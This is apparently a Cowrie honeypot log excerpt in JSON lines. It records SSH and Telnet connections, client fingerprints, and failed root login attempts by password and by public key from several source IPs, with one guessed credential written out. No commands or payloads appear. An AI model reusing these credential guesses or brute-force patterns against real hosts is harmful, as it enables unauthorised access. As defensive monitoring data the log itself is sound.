{"eventid":"cowrie.login.failed","username":"root","password":"lf@123456","message":"login attempt [root/lf@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:51.042851Z","src_ip":"181.188.172.6","session":"5ae79b83e544","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:52.169616Z","src_ip":"181.188.172.6","session":"5ae79b83e544","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00171494483948,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:53.164279Z","src_ip":"2.15.172.90","session":"5b4c2fee77b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52832,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd3b7183adbd","protocol":"telnet","message":"New connection: 152.42.224.71:52832 (10.17.0.5:23) [session: dd3b7183adbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:57.204397Z"}
{"eventid":"cowrie.session.closed","duration":120.0025417804718,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:59.093648Z","src_ip":"152.42.224.71","session":"72f3161d3b57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.52.145","src_port":33084,"dst_ip":"10.17.0.5","dst_port":22,"session":"60e940dedb87","protocol":"ssh","message":"New connection: 198.98.52.145:33084 (10.17.0.5:22) [session: 60e940dedb87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:00.072066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:00.078092Z","src_ip":"198.98.52.145","session":"60e940dedb87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:00.085941Z","src_ip":"198.98.52.145","session":"60e940dedb87","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:89:42:3f:a2:66:21:03:d1:4a:2f:52:b3:7a:8f:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCofhRQCcqLcflj5y8Rn/iKALCFngIg+m8gu5VqUi1Kl7HZ3S5UyKEsV7Mt2qYqwTPiwFTAcB+0oLKD2kdEKMiXqITqjdWXbeVcXK7oN2hlTpLnmL1Z5WlvbfTsLduax5riWgUCi0lA/p7z/hHEt6lPRr5jPYtZRKanFxewIqekTUJkvNVJHx99tfp4rJKTSTW2WpYn2GZ4Vtp2TSwpX2me/0lkuATqaXNNR+S9xN8jwI7z+D1WCtwwfCD11V38d7WAOZMEnn2pvL3Ykz5hIvvcJtTDNCf8w6ky/V+BjHWeZ4z42yHmTAm6z+joStE+B4t87gDOdBppHAbXdTttzhtD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:89:42:3f:a2:66:21:03:d1:4a:2f:52:b3:7a:8f:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:00.103633Z","src_ip":"198.98.52.145","session":"60e940dedb87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:89:42:3f:a2:66:21:03:d1:4a:2f:52:b3:7a:8f:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCofhRQCcqLcflj5y8Rn/iKALCFngIg+m8gu5VqUi1Kl7HZ3S5UyKEsV7Mt2qYqwTPiwFTAcB+0oLKD2kdEKMiXqITqjdWXbeVcXK7oN2hlTpLnmL1Z5WlvbfTsLduax5riWgUCi0lA/p7z/hHEt6lPRr5jPYtZRKanFxewIqekTUJkvNVJHx99tfp4rJKTSTW2WpYn2GZ4Vtp2TSwpX2me/0lkuATqaXNNR+S9xN8jwI7z+D1WCtwwfCD11V38d7WAOZMEnn2pvL3Ykz5hIvvcJtTDNCf8w6ky/V+BjHWeZ4z42yHmTAm6z+joStE+B4t87gDOdBppHAbXdTttzhtD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:00.107889Z","src_ip":"198.98.52.145","session":"60e940dedb87","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:6d:7c:ed:e7:d5:72:9e:0d:6e:16:46:a3:e9:77:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaJYkI8uMrX6qmuQL8b/O3d+FjhynecB+QFcDSqM2vPQ/1LT15f/AsXTapgqjbNcluq4GZHYcdqUQJrDp8887yBbTNkAgXv3p64RBZhHlikxbLYwReuwHKhem686074xTOVA2o93KAf+RFd2+lgEbvN9p2L8c/6xOC8975GeN1Vnd5nQTTOd+fsAeNGrjvVVzI0ZQWbOvleUT7wk8ECgYW8Ht73W124HfjJU1WMjld6bxQyPcyx8vO7Al+61/hPdPMsPDw23WMaMZGh3fcs4iQaF7NbnSAhGmVAlli3R3foxXmxmFofibXgmtv/2+zjQ/OF3P2VqtcdjWFA9+w9+dr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:6d:7c:ed:e7:d5:72:9e:0d:6e:16:46:a3:e9:77:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:00.119100Z","src_ip":"198.98.52.145","session":"60e940dedb87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:6d:7c:ed:e7:d5:72:9e:0d:6e:16:46:a3:e9:77:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaJYkI8uMrX6qmuQL8b/O3d+FjhynecB+QFcDSqM2vPQ/1LT15f/AsXTapgqjbNcluq4GZHYcdqUQJrDp8887yBbTNkAgXv3p64RBZhHlikxbLYwReuwHKhem686074xTOVA2o93KAf+RFd2+lgEbvN9p2L8c/6xOC8975GeN1Vnd5nQTTOd+fsAeNGrjvVVzI0ZQWbOvleUT7wk8ECgYW8Ht73W124HfjJU1WMjld6bxQyPcyx8vO7Al+61/hPdPMsPDw23WMaMZGh3fcs4iQaF7NbnSAhGmVAlli3R3foxXmxmFofibXgmtv/2+zjQ/OF3P2VqtcdjWFA9+w9+dr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:00.122844Z","src_ip":"198.98.52.145","session":"60e940dedb87","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:4b:0c:44:5c:9e:cd:b8:07:fb:a5:20:a8:d8:5f:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTTJyGTPlxjfX298KbmD3Th3Na2BaxEj9XjpbM9cJHALfetasIk9RsCPr2dccWaovVUVyy5DA0J8dexqoao17T6nnzoIAYdtjGGBIqW/64Nm9ObRiRCsEB6OhNVSsFH/+fZUpsNikp/rwJNfuhFxeBL/q6iREPC18a+x9WX2Is6hjKBmHvtjrAF1GOAs6w7T9mYN6PyzLVyOTfBTvmAknUy1vvlP6n01GyNNUZlpPzy5nCRuwiyoNX8Zu4EYrzbwfsf8rw4NbBEvIP458GJGdefkhTIYH1rPnW5byyDjdBfSaAvQZNCI5GAb3pgHK1hbHIn59UGGVd9d0qD99PnMlDGswjxHMCafn3ctv2I+hR+v9TLtkruUKqvZ8j97h5g2+asRcyHCi2AFjWKd/E0T87gUanwESw7anYspQRAfBJRw49j950DsXa2wjU14sKfR8u8n/tusImJmaUxoGfDJnhfFLi9Scw8ysrAiAgvaGvB4bELed/3fhD2bCmoaTq5tW8YpsAJzj/tx4p0kT2jNEStTX1luFfSc3YED+z4XiINBOvwBqUU/SauhodGuFOmao03jZvVfY75+9S2IyliWnuJR/E88OaPGzS3R3Oo67XtFgDU8OJNYdG2VHvYGJZPcxHAc8V+BliiwP2+yn8gGj/X01Wfz8/p/Jjze1xQx2djw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:4b:0c:44:5c:9e:cd:b8:07:fb:a5:20:a8:d8:5f:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:00.141700Z","src_ip":"198.98.52.145","session":"60e940dedb87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:4b:0c:44:5c:9e:cd:b8:07:fb:a5:20:a8:d8:5f:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTTJyGTPlxjfX298KbmD3Th3Na2BaxEj9XjpbM9cJHALfetasIk9RsCPr2dccWaovVUVyy5DA0J8dexqoao17T6nnzoIAYdtjGGBIqW/64Nm9ObRiRCsEB6OhNVSsFH/+fZUpsNikp/rwJNfuhFxeBL/q6iREPC18a+x9WX2Is6hjKBmHvtjrAF1GOAs6w7T9mYN6PyzLVyOTfBTvmAknUy1vvlP6n01GyNNUZlpPzy5nCRuwiyoNX8Zu4EYrzbwfsf8rw4NbBEvIP458GJGdefkhTIYH1rPnW5byyDjdBfSaAvQZNCI5GAb3pgHK1hbHIn59UGGVd9d0qD99PnMlDGswjxHMCafn3ctv2I+hR+v9TLtkruUKqvZ8j97h5g2+asRcyHCi2AFjWKd/E0T87gUanwESw7anYspQRAfBJRw49j950DsXa2wjU14sKfR8u8n/tusImJmaUxoGfDJnhfFLi9Scw8ysrAiAgvaGvB4bELed/3fhD2bCmoaTq5tW8YpsAJzj/tx4p0kT2jNEStTX1luFfSc3YED+z4XiINBOvwBqUU/SauhodGuFOmao03jZvVfY75+9S2IyliWnuJR/E88OaPGzS3R3Oo67XtFgDU8OJNYdG2VHvYGJZPcxHAc8V+BliiwP2+yn8gGj/X01Wfz8/p/Jjze1xQx2djw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:00.146187Z","src_ip":"198.98.52.145","session":"60e940dedb87","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:e5:d2:9e:bd:ce:57:b3:48:f5:fd:3c:0c:a5:c9:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVsYcBMssIME8/TPvKubSXEoSk4JrEwnD9N1e+/z5qSkt34m9gaoyGUr7/5luAdW88mmeKdg95NEsB/ZuqexmX8Hg5QqXShKbEdxF23v252fNjg/vSvjQ31qxrgbFzpzDi+l9b7lhZyKE6YS4l/jcp8suKEqWGx/s5g1I9mW99nsTkFrfFvGnHu+2e3j6fRTjCao/b+7oXrpl+du1wXlCFOpkN5ghuHhNCPBf4sbSWx4kg4P7eagH+7qez3TiRBzsAI/yY0KHgiCraSnUtoqUCzK6Kjz1RVxjxpIGL92Kn+0ulkZ2DW3df+bDa6g4s2Fz4AApiqhGXQYFGddRz2Sqn/y/gL7zHTNBOG6xBW9VY5cNenHhiEOotbALCqusDehNy5uW+899F59Y2dA6giAWClYhyny2zSz27AuD0gliYIxHBOSRaD/EbPkG2aklluvLbG9WOT/rhVYTVeuaKgSTLb8pxPjxWKdirsg6LXFiX4268xQUc+zMcnc3tFt8tJDEL77gHbGII45Hjm2T2QifS2Qn9Wqj7tAxtysjviPw/d0G/IOG01z6KpRzZP7dtjNJxcQj943qQKTkxE23QzuCsuZ8RHvuhTXjvBiJK5POoLDjxZP2SiWZv1DrMi1OAROEBv6IRS7eCBFV8cE6fjRvP+ydzIoK9LKCTfP02AOcFEQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:e5:d2:9e:bd:ce:57:b3:48:f5:fd:3c:0c:a5:c9:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:00.157528Z","src_ip":"198.98.52.145","session":"60e940dedb87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:e5:d2:9e:bd:ce:57:b3:48:f5:fd:3c:0c:a5:c9:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVsYcBMssIME8/TPvKubSXEoSk4JrEwnD9N1e+/z5qSkt34m9gaoyGUr7/5luAdW88mmeKdg95NEsB/ZuqexmX8Hg5QqXShKbEdxF23v252fNjg/vSvjQ31qxrgbFzpzDi+l9b7lhZyKE6YS4l/jcp8suKEqWGx/s5g1I9mW99nsTkFrfFvGnHu+2e3j6fRTjCao/b+7oXrpl+du1wXlCFOpkN5ghuHhNCPBf4sbSWx4kg4P7eagH+7qez3TiRBzsAI/yY0KHgiCraSnUtoqUCzK6Kjz1RVxjxpIGL92Kn+0ulkZ2DW3df+bDa6g4s2Fz4AApiqhGXQYFGddRz2Sqn/y/gL7zHTNBOG6xBW9VY5cNenHhiEOotbALCqusDehNy5uW+899F59Y2dA6giAWClYhyny2zSz27AuD0gliYIxHBOSRaD/EbPkG2aklluvLbG9WOT/rhVYTVeuaKgSTLb8pxPjxWKdirsg6LXFiX4268xQUc+zMcnc3tFt8tJDEL77gHbGII45Hjm2T2QifS2Qn9Wqj7tAxtysjviPw/d0G/IOG01z6KpRzZP7dtjNJxcQj943qQKTkxE23QzuCsuZ8RHvuhTXjvBiJK5POoLDjxZP2SiWZv1DrMi1OAROEBv6IRS7eCBFV8cE6fjRvP+ydzIoK9LKCTfP02AOcFEQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:00.161531Z","src_ip":"198.98.52.145","session":"60e940dedb87","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:f8:2b:ce:a3:b8:af:d2:85:b0:19:4a:64:28:da:5f","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANbnQz51u4v7KPSRVy0zFOml06T16J4Gwkrtg7tlfhcLVd2MHaz/EpdUWG1lxal6OWyzpIPrNDqVHOuOXekEI5JGXIxzTqZpEaTp6aFrWflLF/UywSZBpcc0gGJL+0/rheyJ2LqLShHdCEIXXC2Ek74XdfDucAVl1OJSDDVcaoNvAAAAFQDUOF9ONiUcIdAVEZ/GMUOKjRB3QwAAAIBYv5/ZbhxAiJ7IvNi8kI8iPN0WRfIvPGTWVfuOG4jH4vopoucR1FDSt/warD6AXjWBnxug+A3CnaZ2ZOEuhhakC/uDZZ55vUXvaLP5LXqd/CafxCXzzAl9lDyQhGwY5o5CKlS8U5QRD+JObfg0QA5LJOx7WpwbAfpwx60KAd78aQAAAIB8kmK46Hx3P06SiYMhPp/gBkMLCjIEFDrYfcGb4Djp1cq0Vy5IQdUoEVaEZlRi4x0ywQcPmn/5y/TEHbVXMwwtUek3PWEEBn/zOcw6bAjIjaz6Y0oYTJqIBRP5Y85HXz4lgupRpeJWGh1YlNZOYHLqlsxHIVLfm3LhfRfqnMNqFg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 4a:f8:2b:ce:a3:b8:af:d2:85:b0:19:4a:64:28:da:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:00.179400Z","src_ip":"198.98.52.145","session":"60e940dedb87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:f8:2b:ce:a3:b8:af:d2:85:b0:19:4a:64:28:da:5f","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANbnQz51u4v7KPSRVy0zFOml06T16J4Gwkrtg7tlfhcLVd2MHaz/EpdUWG1lxal6OWyzpIPrNDqVHOuOXekEI5JGXIxzTqZpEaTp6aFrWflLF/UywSZBpcc0gGJL+0/rheyJ2LqLShHdCEIXXC2Ek74XdfDucAVl1OJSDDVcaoNvAAAAFQDUOF9ONiUcIdAVEZ/GMUOKjRB3QwAAAIBYv5/ZbhxAiJ7IvNi8kI8iPN0WRfIvPGTWVfuOG4jH4vopoucR1FDSt/warD6AXjWBnxug+A3CnaZ2ZOEuhhakC/uDZZ55vUXvaLP5LXqd/CafxCXzzAl9lDyQhGwY5o5CKlS8U5QRD+JObfg0QA5LJOx7WpwbAfpwx60KAd78aQAAAIB8kmK46Hx3P06SiYMhPp/gBkMLCjIEFDrYfcGb4Djp1cq0Vy5IQdUoEVaEZlRi4x0ywQcPmn/5y/TEHbVXMwwtUek3PWEEBn/zOcw6bAjIjaz6Y0oYTJqIBRP5Y85HXz4lgupRpeJWGh1YlNZOYHLqlsxHIVLfm3LhfRfqnMNqFg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:00.183698Z","src_ip":"198.98.52.145","session":"60e940dedb87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:00.196834Z","src_ip":"198.98.52.145","session":"60e940dedb87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.768088579177856,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:02.834607Z","src_ip":"152.42.224.71","session":"c68803ae8796","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52834,"dst_ip":"10.17.0.5","dst_port":23,"session":"784f95a1e2b9","protocol":"telnet","message":"New connection: 152.42.224.71:52834 (10.17.0.5:23) [session: 784f95a1e2b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:03.654320Z"}
{"eventid":"cowrie.session.closed","duration":29.61385464668274,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:05.305768Z","src_ip":"152.42.224.71","session":"5167f0f86a8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43252,"dst_ip":"10.17.0.5","dst_port":23,"session":"55162588c9a4","protocol":"telnet","message":"New connection: 152.42.224.71:43252 (10.17.0.5:23) [session: 55162588c9a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:06.608386Z"}
{"eventid":"cowrie.session.closed","duration":31.07019543647766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:09.936759Z","src_ip":"152.42.224.71","session":"451409e99195","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43264,"dst_ip":"10.17.0.5","dst_port":23,"session":"558d41ea61fa","protocol":"telnet","message":"New connection: 152.42.224.71:43264 (10.17.0.5:23) [session: 558d41ea61fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:12.339297Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59172,"dst_ip":"10.17.0.5","dst_port":23,"session":"275bb00be737","protocol":"telnet","message":"New connection: 152.42.224.71:59172 (10.17.0.5:23) [session: 275bb00be737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:17.147333Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43270,"dst_ip":"10.17.0.5","dst_port":23,"session":"d21c051d5a54","protocol":"telnet","message":"New connection: 152.42.224.71:43270 (10.17.0.5:23) [session: d21c051d5a54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:17.265950Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59184,"dst_ip":"10.17.0.5","dst_port":23,"session":"a42a8b98f138","protocol":"telnet","message":"New connection: 152.42.224.71:59184 (10.17.0.5:23) [session: a42a8b98f138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:18.165719Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59192,"dst_ip":"10.17.0.5","dst_port":23,"session":"856bde1a4e47","protocol":"telnet","message":"New connection: 152.42.224.71:59192 (10.17.0.5:23) [session: 856bde1a4e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:19.502149Z"}
{"eventid":"cowrie.session.closed","duration":49.48861336708069,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:23.107362Z","src_ip":"152.42.224.71","session":"c26b8e1f2928","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.126657485961914,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:26.392365Z","src_ip":"152.42.224.71","session":"d21c051d5a54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58458,"dst_ip":"10.17.0.5","dst_port":23,"session":"58e584b3ddfe","protocol":"telnet","message":"New connection: 152.42.224.71:58458 (10.17.0.5:23) [session: 58e584b3ddfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:28.772707Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":34050,"dst_ip":"159.203.135.109","dst_port":22,"session":"279d8bf6d2cd","protocol":"ssh","message":"New connection: 47.237.167.49:34050 (159.203.135.109:22) [session: 279d8bf6d2cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:36.431962Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":44184,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f4b128d0d9b","protocol":"ssh","message":"New connection: 103.77.242.62:44184 (10.17.0.5:22) [session: 3f4b128d0d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:39.011380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:39.016562Z","src_ip":"103.77.242.62","session":"3f4b128d0d9b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:39.053266Z","src_ip":"47.237.167.49","session":"279d8bf6d2cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:39.058979Z","src_ip":"47.237.167.49","session":"279d8bf6d2cd","protocol":"ssh"}
